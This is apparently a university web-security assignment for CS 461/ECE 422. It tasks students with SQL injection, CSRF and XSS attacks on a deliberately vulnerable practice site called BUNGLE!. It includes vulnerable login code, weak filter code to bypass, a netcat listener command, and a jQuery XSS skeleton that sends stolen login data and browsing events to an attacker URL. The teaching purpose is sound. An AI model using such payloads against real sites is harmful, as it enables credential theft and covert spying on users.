# Project 2: Web Security Pitfalls

This project is split into two parts, with the first checkpoint due on **Friday, September 25** at **6:00pm** and the second checkpoint due on **Wednesday, October 7** at **6:00pm**. The first checkpoint is worth 2% of your total grade, and the second checkpoint is worth 10%. We strongly recommend that you get started early. Each semester everyone will be given ONE late extension that allows you to turn in up to one assignment up to 24 hours after the due date. Extensions are not automatic. So, if you want to use your late extension, you MUST send an e-mail to **ece422-staff@illinois.edu**. Late work will not be accepted after 24 hours past the due date.

This is a group project; you SHOULD work in **teams of two** and if you are in teams of two, you MUST submit one project per team. Please find a partner as soon as possible. If have trouble forming a team, post to Piazza's partner search forum.

The code and other answers your group submits must be entirely your own work, and you are bound by the Student Code. You MAY consult with other students about the conceptualization of the project and the meaning of the questions, but you MUST NOT look at any part of someone else's solution or collaborate with anyone outside your group. You may consult published references, provided that you appropriately cite them (e.g., with program comments), as you would in an academic paper.

Solutions MUST be submitted electronically in any one of the group member's svn directory, following the submission checklist given at the end of each checkpoint. Details on the filename and submission guideline is listed at the end of the document.

---

*"I am regularly asked what the average Internet user can do to ensure his security. My first answer is usually 'Nothing; you're screwed!'."*

– Bruce Schneier

# Introduction

In this project, we provide an insecure website, and your job is to attack it by exploiting three common classes of vulnerabilities: cross-site scripting (XSS), cross-site request forgery (CSRF), and SQL injection. You are also asked to exploit these problems with various flawed defenses in place. Understanding how these attacks work will help you better defend your own web applications.

## Objectives:

- Learn to spot common vulnerabilities in websites and to avoid them in your own projects.
- Understand the risks these problems pose and the weaknesses of naive defenses.
- Gain experience with web architecture and with HTML, JavaScript, and SQL programming.

# Guidelines

- You SHOULD work in a group of 2.
- You MUST use HTML, Javascript, and SQL to complete the project. You SHOULD use jQuery to complete the project.
- Your answers may or may not be the same as your classmates'.
- All the necessary files to start the project will given under the folder called "mp2" in your SVN directory. We've also generated some empty files for you to submit your answers in. You MUST submit your answers in the provided files; we will only grade what's there!

## Read this First

This project asks you to develop attacks and test them, with our permission, against a target website that we are providing for this purpose. Attempting the same kinds of attacks against other websites without authorization is prohibited by law and university policies and may result in *fines, expulsion, and jail time*. **You must not attack any website without authorization!** Per the course ethics policy, you are required to respect the privacy and property rights of others at all times, *or else you will fail the course.* See the "Ethics, Law, and University Policies" section on the course website.

# General Guidelines

You SHOULD develop this project targeting Firefox 40, the latest version of Firefox, which you can download from `https://firefox.com`. Many browsers include different client-side defenses against XSS and CSRF that will interfere with your testing.

For your convenience during manual testing, we have included drop-down menus at the top of each page that let you change the CSRF and XSS defenses that are in use. The solutions you submit must override these selections by including the `csrfdefense=`$n$ or `xssdefense=`$n$ parameter in the target URL, as specified in each task below. You may not attempt to subvert the mechanism for changing the level of defense in your attacks.

In all parts, you should implement the simplest attack you can think of that defeats the given set of defenses. In other words, do not simply attack the highest level of defense and submit that attack as your solution for all defenses. Also, you do not need to try to combine the vulnerabilities, except where explicitly stated below.

# Resources

The Firefox Web Developer tools will be a tremendous help for this project, particular the JavaScript console and debugger, DOM inspector, and network monitor. The developer tools can be found under Tools > Web Developer in Firefox. See `https://developer.mozilla.org/en-US/docs/Tools`.

Although general purpose tools are permitted, **you MUST not** use tools that are designed to automatically test for vulnerabilities.

Your solutions will involve manipulating SQL statements and writing web code using HTML, JavaScript, and the jQuery library. Feel free to search the web for answers to basic how-to questions. There are many fine online resources for learning these tools. Here are a few that we recommend:

| | |
|---|---|
| SQL Tutorial | `http://www.w3schools.com/sql/` |
| SQL Statement Syntax | `http://dev.mysql.com/doc/refman/5.5/en/sql-syntax.html` |
| Introduction to HTML | `https://developer.mozilla.org/en-US/docs/Web/Guide/HTML/Introducti` |
| HTTP Made Really Easy | `http://www.jmarshall.com/easy/http/` |
| JavaScript 101 | `http://learn.jquery.com/javascript-101/` |
| Using jQuery Core | `http://learn.jquery.com/using-jquery-core/` |
| jQuery API Reference | `http://api.jquery.com` |

To learn more about SQL Injection, XSS, and CSRF attacks, and for tips on exploiting them, see:

`https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet`
`https://www.owasp.org/index.php/Cross-Site_Request_Forgery_(CSRF)_Prevention_Cheat_Sheet`
`https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet`
`https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet`

## 2.1 Checkpoint 1 (20 points)

This checkpoint serves to give you an opportunity to practice HTML, Javascript/jQuery, and SQL. If you are not familiar with any of these languages, you SHOULD do online tutorials in addition to exercises in this checkpoint.

### 2.1.1 HTML (8 points)

In this section, you will get a basic understanding on HTML and learn how it is used in GET and POST requests.

#### 2.1.1.1 HTML inspection

HTML is a document format that is used for instructing your web browser on how to display a page. HTML is called a markup language, because it uses specific tags to mark separations for properties of different contents. Below you can see a simple example of a paragraph in HTML. Note how each tag has a beginning ( ) and an end ( ). For a full list of HTML tags, go to (`http://www.w3schools.com/tags/default.asp`).

```
<html>
    <body>
         <p> This is a paragraph in HTML. </p>
    </body>
</html>
```

In Firefox 40, you can inspect the HTML of any webpage by selecting Developer Tools from the options or just by pressing "F12".

#### 2.1.1.2 GET requests

A GET request is a type of form that is used in HTML. GET requests are very commonly used for submitting searches. Below is the GET form to http://url/get/.

```
<form action="http://url/get/" method="get" id ="search">
    <input type="text" name="q">
    <input type="submit">
</form>
```

When you submit this form, you are directed to a new page http://url/get/?q=SEARCH, where SEARCH is what you typed into the text box. You can simply modify what q equals in the URL to do a GET request instead of filling in the text box; writing URL of this new page will yield the same result as submitting a GET form.

#### 2.1.1.3 POST requests

A POST request is the other commonly used type of form in HTML. POST requests are very commonly used for submitting login information, because the data you submit is not included in the URL as a plaintext. Below is the POST form for http://url/post/.

```
<form action="http://url/post/" method="post" id ="login_info">
    Name: <input type="text" name="name"><br>
    Password: <input type="text" name="password"><br>
    <input type="submit">
</form>
```

Note that this form it waits for a response from http://url/post/ and redirects to a page based on this response. Go to (`http://www.w3schools.com/tags/ref_httpmethods.asp`) if you wish to know more about the differences between GET and POST.

#### 2.1.1.4 Exercise

For this exercise, there are two web pages, `http://permalink.co/get_exercise/` and `http://permalink.co/post_exercise/`. `http://permalink.co/get_exercise/` receives a GET request and `http://permalink.co/post_exercise/` receives a POST request. Do not forget the trailing slash when writing URLs for this exercise.

**Files**

1. `2.1.1.4.html`: A document where you will write HTML code to make GET and POST requests
2. `2.1.1.4_get.txt`: Information required to submit a GET request to http://permalink.co/get_exercise/
3. `2.1.1.4_post.txt`: Information required to submit a POST request to http://permalink.co/post_exercise/

**What to submit**

1. `2.1.1.4.html`: Create a HTML page which has following components:
   a paragraph "CS461" which is tagged in <h1>
   a form for GET request to http://permalink.co/get_exercise/
   a form for POST request to http://permalink.co/post_exercise/
2. Make a GET request to http://permalink.co/get_exercise/ using information from `2.1.1.4_get.txt` and copy the value you obtained from the website to 2.1.1.4_get_sol.txt.
3. Make a POST request to http://permalink.co/post_exercise/ using information from `2.1.1.4_post.txt` and copy the value you obtained from the website to 2.1.1.4_post_sol.txt.

### 2.1.2 Javascript/jQuery (6 points)

In this section, you will write several lines of Javascript/jQuery code on top of HTML page you wrote from 2.1.1. You will learn and use functions which determine the behavior of webpage.

#### 2.1.2.1 Submitting a form

There are multiple ways to submit a HTML form. The following Javascript code will submit a form with id = "login_info"

```
<script>
    document.getElementById("login_info").submit();
</script>
```

The following jQuery code is equivalent to the Javascript code above.

```
<script>
    $("#login_info").submit();
</script>
```

#### 2.1.2.2 Setting an onclick event

In this section, you will learn how to set up an onclick event handler so that some script is executed when the event occurs. An onclick event occurs when mouse click is occurred. You may visit a demo from W3Schools (`http://www.w3schools.com/js/tryit.asp?filename=tryjs_event_onclick2`) to visualize an onclick event handler.
In the demo, onclick function is directly written in the h1 tag. You can also accomplish setting an onclick event inside script tags.

```
<script>
    document.getElementById("id").onclick = foo;

    function foo()  {
    ...
    }
</script>
```

Likewise, following jQuery code snippet is equivalent to the Javascript code above.

```
<script>
    $("#id").click(function(){
    ...
    });
```

```
</script>
```

#### 2.1.2.3 Exercise

For each part of this exercise, you will write some Javascript/jQuery code on top of 2.1.1.4.html.

**Files**

1. `2.1.2.3_submit.html`: Write a Javascript/jQuery code so that opening this html page will result in submiting the POST form you have created in 2.1.1.4 using the submit() function.
2. `2.1.2.3_onclick.html`: Write a Javascript/jQuery code on 2.1.1.4.html so that when user clicks the word "CS461" on webpage, the color of the text changes from default(black) to white.

index.php

**What to submit**

1. Implement submit() function on html page from 2.1.1.4 and submit the modified version in `2.1.2.3_submit.html`.
2. Implement an onclick event specified in 2.1.2.3 to html page from 2.1.1.4 and submit the the modified version in `2.1.2.3_onclick.html`.

### 2.1.3 SQL (6 points)

In this section, your goal is to learn basic SQL commands which will allow you to query a MySQL database.

#### 2.1.3.1 SQL Query Comprehension

The most important query you need to know for this MP is the SELECT query, which is used to return rows from the database. A SELECT statement is structured as follows:

```
SELECT * FROM <table> WHERE <condition_1> AND/OR <condition_2> AND/OR ... ;
```

The conditions filter which rows are returned from the table and are structured as:

```
<column name> operator <value>
```

Common operators are =, <, >, <=, >= and <>

#### 2.1.3.2 Exercise

We have set up webpages `http://permalink.co/sql_single/` and `http://permalink.co/sql_bound/` for each exercise. These websites allow you to fill out missing parts of SQL queries and read the result. Each table in the database has two columns, exkey which is key for this exercise and exvalue which is value for this exercise.

**Files**

1. `2.1.3.2_table.txt`: a text file which contains the name of the table you will query for data.
2. `2.1.3.2_key.txt`: a text file which contains the numerical key for the row you must receive from the database. Use `http://permalink.co/sql_single/` for this exercise.
3. `2.1.3.2_bound_keys.txt`: a text file which contains two numerical keys. You must find all rows where the key lies between(inclusive) these 2 keys. Use `http://permalink.co/sql_bound/` for this exercise.

**What to submit**

1. Copy the value which you obtained from the database to 2.1.3_single.txt.
2. Copy a comma-separated list of the values you received from the database to 2.1.3_bound.txt.

# Checkpoint 1: Submission Checklist

Inside your mp2 directory svn, you will have the auto-generated files named as below. Make sure that your answers for all tasks up to this point are submitted in the following files before **Friday, September 25** at **6:00pm**:

## SVN Directory

`https://subversion.ews.illinois.edu/svn/fa15-cs461/NETID/mp2`

## Team Members

`partners.txt` : a text file containing netIDs of both members, one netid per line. Place the student's netID, whose directory contain your project submission, at the top of the file.

**example content of partners.txt**

```
netid1
netid2
```

## List of solution files that must be submitted for checkpoint 1

- `partners.txt`
- `2.1.1.4.html`
- `2.1.1.4_get_sol.txt`
- `2.1.1.4_post_sol.txt`
- `2.1.2.3_submit.html`
- `2.1.2.3_onclick.html`
- `2.1.3.2_single.txt`
- `2.1.3.2_bound.txt`

## 2.2 Checkpoint 2 (100 points)

# Target Website

A startup named **BUNGLE!** is about to launch its first product—a web search engine—but their investors are nervous about security problems. Unlike the Bunglers who developed the site, you took CS 461/ECE 422, so the investors have hired you to perform a security evaluation before it goes live.

**BUNGLE!** is available for you to test at `http://permalink.co/`.

The site is written in Python using the Bottle web framework. Although Bottle has built-in mechanisms that help guard against some common vulnerabilities, the Bunglers have circumvented or ignored these mechanisms in several places.

In addition to providing search results, the site accepts logins and tracks users' search histories. It stores usernames, passwords, and search history in a MySQL database.

Before being granted access to the source code, you reverse engineered the site and determined that it replies to five main URLs: `/`, `/search`, `/login`, `/logout`, and `/create`. The function of these URLs is explained below, but if you want an additional challenge, you can skip the rest of this section and do the reverse engineering yourself.

**Main page (`/`)** The main page accepts `GET` requests and displays a search form. When submitted, this form issues a `GET` request to `/search`, sending the search string as the parameter "`q`".

If no user is logged in, the main page also displays a form that gives the user the option of logging in or creating an account. The form issues `POST` requests to `/login` and `/create`.

**Search results (`/search`)** The search results page accepts `GET` requests and prints the search string, supplied in the "`q`" query parameter, along with the search results. If the user is logged in, the page also displays the user's recent search history in a sidebar.

Note: Since actual search is not relevant to this project, you might not receive any results.

**Login handler (`/login`)** The login handler accepts `POST` requests and takes plaintext "`username`" and "`password`" query parameters. It checks the user database to see if a user with those credentials exists. If so, it sets a login cookie and redirects the browser to the main page. The cookie tracks which user is logged in; manipulating or forging it is **not** part of this project.

**Logout handler (`/logout`)** The logout handler accepts `POST` requests. It deletes the login cookie, if set, and redirects the browser to the main page.

**Create account handler (`/create`)** The create account handler accepts `POST` requests and receives plaintext "`username`" and "`password`" query parameters. It inserts the username and password into the database of users, unless a user with that username already exists. It then logs the user in and redirects the browser to the main page.

Note: The password is neither sent nor stored securely; however, none of the attacks you implement should depend on this behavior. You should choose a password that other groups will not guess, but never use an important password to test an insecure site!

### 2.2.1 SQL Injection (30 points)

In this section, your goal is to demonstrate SQL injection attacks that log you in as an arbitrary user without knowing the password. Your job is to find SQL injection vulnerability for two targets. In order to protect other students' accounts, we've made a series of separate login forms for you to attack that aren't part of the main **BUNGLE!** site. For each of the following defenses, provide inputs to the target login form that successfully log you in as the user "`victim`".

#### 2.2.1.1 No defenses

This target does not have any protection against SQL injection.

Target: `http://permalink.co/sqlinject0/`

#### 2.2.1.2 Simple escaping

The server escapes single quotes (') in the inputs by replacing them with two single quotes.

Target: `http://permalink.co/sqlinject1/`

#### 2.2.1.3 Escaping and Hashing

The server uses the following PHP code, which escapes the username and applies the MD5 hash function to the password.

```
if (isset($_POST['username']) and isset($_POST['password'])) {
    $username = mysql_real_escape_string($_POST['username']);
    $password = md5($_POST['password'], true);
    $sql_s = "SELECT * FROM users WHERE username='$username' and pw='$password'";
    $rs = mysql_query($sql_s);
    if (mysql_num_rows($rs) > 0) {
        echo "Login successful!";
    } else {
        echo "Incorrect username or password";
    }
}
```

This is more difficult than the previous two defenses. You will need to write a program to produce a working exploit. You can use any language you like, but we recommend C. You need to submit source code of this program and the .txt file which has a solution displayed on the webpage.

Target: `http://permalink.co/sqlinject2/`

#### 2.2.1.4 The SQL

Note: This target does not work properly in Illinoisnet. You SHOULD use UIUCnet when completing this exercise with campus Wifi.

This target uses a different database. Your job is to use SQL injection to retrieve:

1. The name of the database
2. The version of the SQL server
3. All of the names of the tables in the database
4. A secret string hidden in the database

Target: `http://permalink.co/sqlinject3/`

The text file you submit should starts with a list of the URLs for all the queries you made to learn the answers. Follow this with the values specified above, using this format:

*URL*
*URL*
*URL*
...

`Name:` *DB name*
`Version:` *DB version string*
`Tables:` *comma separated names*
`Secret:` *secret string*

**What to submit**

1. After you successfully logged in to `http://permalink.co/sqlinject0/`, copy the value you obtained from the website to 2.2.1.1.txt.

2. After you successfully logged in to `http://permalink.co/sqlinject1/`, copy the value you obtained from the website to 2.2.1.2.txt.

3. 2.2.1.3.tar.gz: Submission for 2.2.1.3 which consists of a source code and a .txt file which has the value obtained from the website.

4. 2.2.1.4.txt: Submission for 2.2.1.4.

### 2.2.2 Cross-site Request Forgery (CSRF) (20 points)

#### 2.2.2.1 No Defenses

Your next task is to demonstrate CSRF vulnerabilities against the login form, and **Bungle!** has provided two variations of their implementation for you to test. Your goal is to construct attacks that surreptitiously cause the victim to log in to an account you control, thus allowing you to monitor the victim's search queries by viewing the search history for this account. For each of the defenses below, create an HTML file that, when opened by a victim, logs their browser into **Bungle!** under the account "`attacker`" and password "`l33th4x`".
Your solutions should not display evidence of an attack; the browser should just display a blank page. (If the victim later visits Bungle, it will say "logged in as attacker", but that's fine for purposes of the project. After all, most users won't immediately notice.)

Target: `http://permalink.co:8080/login?csrfdefense=0&xssdefense=5`

#### 2.2.2.2 Token validation

The server sets a cookie named `csrf_token` to a random 16-byte value and also include this value as a hidden field in the login form. When the form is submitted, the server verifies that the client's cookie matches the value in the form. You are allowed to exploit the XSS vulnerability to accomplish your goal.

Target: `http://permalink.co:8080/login?csrfdefense=1&xssdefense=0`

**What to submit**

1. 2.2.2.1.html: Submission for 2.2.2.1.
2. 2.2.2.2.html: Submission for 2.2.2.2.

The HTML files you submit must be self-contained, but they may embed CSS and JavaScript. Your files may also load jQuery from the URL `http://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js`. Make sure you test your solutions by opening them as local files in Firefox 40. We will use this setup for grading.

Note: Since you're sharing the `attacker` account with other students, we've harded coded it so the search history won't actually update. You can test with a different account you create to see the history change.

### 2.2.3 Cross Site Scripting (XSS) (50 points)

#### 2.2.3.1 Warm up

To get you comfortable with the concept of XSS, we setup a dummy website for you to work with. The website accept a single GET parameter `name` that is vulnerable to XSS attack. Your goal is to change the "Click to Download" link to redirect the victim to `http://www.ece.illinois.edu/`.

Target: `http://permalink.co/multivac/biteme.php`
Submission: `2.2.3.1.txt`

## Attacking Bungle

Your final goal is to demonstrate XSS attacks against the **BUNGLE!** search box, which does not properly filter search terms before echoing them to the results page. For each of the defenses below, your goal is to construct a URL that, if loaded in the victim's browser, correctly executes the payload specified below. We recommend that you begin by testing with a simple payload (e.g., `alert(0);`), then move on to the full payload. Note that you should be able to implement the payload once, then use different means of encoding it to bypass the different defenses.

## Payload

The payload (the code that the attack tries to execute) will be an extended form of spying and password theft. After the victim visits the URL you create, all functions of the **BUNGLE!** site should be under control of your code and should report what the user is doing to a server you control, until the user leaves the site. Your payload needs to accomplish these goals:

**Stealth:**

- Display all pages correctly, with no significant evidence of attack.
  (Minor text formatting glitches are acceptable.)
- Display normal URLs in the browser's location bar, with no evidence of attack.
  (Hint: Learn about the HTML5 History API.)
- Hide evidence of attack in the **BUNGLE!** search history view, as long as your code is running.

**Persistence:**

- Continue the attack if the user navigates to another page on the site by following a link or submitting a form, including by logging in or logging out. (Your code does **not** have to continue working if the user's actions trigger an error that isn't the fault of your code.)
- Continue the attack if the user navigates to another **BUNGLE!** page by using the browser's back or forward buttons.

**Spying:**

- Report all login and logout events by loading the URLs:
  `http://127.0.0.1:31337/stolen?event=login&user=<username>&pass=<password>`
  `http://127.0.0.1:31337/stolen?event=logout&user=<username>`

  You can test receiving this data on your local machine by using Netcat: `$ nc -l 31337`
- Report each page that is displayed (what the user thinks they're seeing) by loading the URL:
  `http://127.0.0.1:31337/stolen?event=nav&user=<username>&url=<encoded_url>`
  (`<username>` should be omitted if no user is logged in.)

## Defenses

There are five levels of defense. In each case, you SHOULD submit the simplest attack you can find that works against that defense; you SHOULD NOT simply attack the highest level and submit your solution for that level for every level. Try to use a different technique for each defense. The Python code that implements each defense is shown below, along with the target URL.

#### 2.2.3.2 No defenses

Target: `http://permalink.co:8080/search?xssdefense=0`

Also submit a human readable version of the code you use to generate your URL for 2.2.3.2, as a file named 2.2.3.2_payload.html.

#### 2.2.3.3 Remove "script"

```
filtered = re.sub(r"(?i)script", "", input)
```

Target: http://permalink.co:8080/search?xssdefense=1

#### 2.2.3.4 Recursively removing "script"

A function shown below filters the user input.

```
def filter(input):
    original = input
    filtered = re.sub(r"(?i)script", "", input)
    while original != filtered:
        original = filtered
        filtered = re.sub(r"(?i)script", "", original)
    return filtered
```

Target: `http://permalink.co:8080/search?xssdefense=2`

#### 2.2.3.5 Recursively Removing several tags

Likewise, a function filter(input) filters the user input.

```
def filter(input):
    original = input
    filtered = re.sub(r"(?i)script|<img|<body|<style|<meta|<embed|<object"
                              "", input)
    while original != filtered:
        original = filtered
        filtered = re.sub(r"(?i)script|<img|<body|<style|<meta|<embed|<object"
                          "", original)
    return filtered
```

Target: `http://permalink.co:8080/search?xssdefense=3`

#### 2.2.3.6 Remove some punctuation

`filtered = re.sub(r"[;'\"]", "", input)`

Target: `http://permalink.co:8080/search?xssdefense=4`

### What to submit

1. Submission the URL for 2.2.3.1 to 2.2.3.1.txt.
2. Submit the URL for 2.2.3.2 to 2.2.3.2.txt and the payload for creating the URL to 2.2.3.2_payload.html.
3. Submit the URL for 2.2.3.3 in 2.2.3.3.txt.
4. Submit the URL for 2.2.3.4 in 2.2.3.4.txt.
5. Submit the URL for 2.2.3.5 in 2.2.3.5.txt.
6. Submit the URL for 2.2.3.6 in 2.2.3.6.txt.

Your submission for each level of defense will be a text file with the specified filename that contains a single line consisting of a URL. When this URL is loaded in a victim's browser, it should execute the specified payload against the specified target. The payload encoded in your URLs must be self-contained, but they may embed CSS and JavaScript. Your payload may also load jQuery from the URL `http://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js`. Make sure you test your solutions in Firefox 40, the browser we will use for grading.

## Framework Code

You may build your XSS attacks by extending the following framework if you wish.

```
<meta charset="utf-8">
<script src="http://ajax.googleapis.com/ajax/libs/jquery/2.1.4/jquery.min.js"></script>
<script>

// Extend this function:
function payload(attacker) {
    function log(attacker, data) {
        console.log($.param(data));
        $.get(attacker, data);
    }
    function proxy(attacker, href) {
        $("html").load(href, function(){
            $("html").show();
            log(attacker, {event: "nav", uri: href});
            $("#query").val("pwned!");
        });
    }
    $("html").hide();
    proxy(attacker, "./");
}

function makeLink(xssdefense, target, attacker) {
    if (xssdefense == 0) {
        return target + "./search?xssdefense=" + xssdefense.toString() + "&q=" +
            encodeURIComponent("<script" + ">" + payload.toString() +
                               ";payload(\"" + attacker + "\");</script" + ">");
    } else {
        // Implement code to defeat XSS defenses here.
    }
}

var xssdefense = 0;
var target = "http://permalink.co:8080/";
var attacker = "http://127.0.0.1:31337/stolen";

$(function() {
    var url = makeLink(xssdefense, target, attacker);
    $("h3").html("<a target=\"run\" href=\"" + url + "\">Try Bungle!</a>");
});

</script>
<h3></h3>
```

# Checkpoint 2: Submission Checklist

Inside your mp2 directory svn, you will have the auto-generated files named as below. Make sure that your answers for all tasks up to this point are submitted in the following files before **Wednesday, October 7** at **6:00pm**:

## SVN Directory

`https://subversion.ews.illinois.edu/svn/fa15-cs461/NETID/mp2`

## Team Members

`partners.txt` : a text file containing netIDs of both members, one netid per line. Place the student's netID, whose directory contain your project submission, at the top of the file.

**example content of partners.txt**

```
netid1
netid2
```

## List of solution files that must be submitted for checkpoint 2

- `partners.txt`
- 2.2.1.1.txt
- 2.2.1.2.txt
- 2.2.1.3.tar.gz
- 2.2.1.4.txt
- 2.2.2.1.html
- 2.2.2.2.html
- 2.2.3.1.txt
- 2.2.3.2.txt
- 2.2.3.2_payload.html
- 2.2.3.3.txt
- 2.2.3.4.txt
- 2.2.3.5.txt
- 2.2.3.6.txt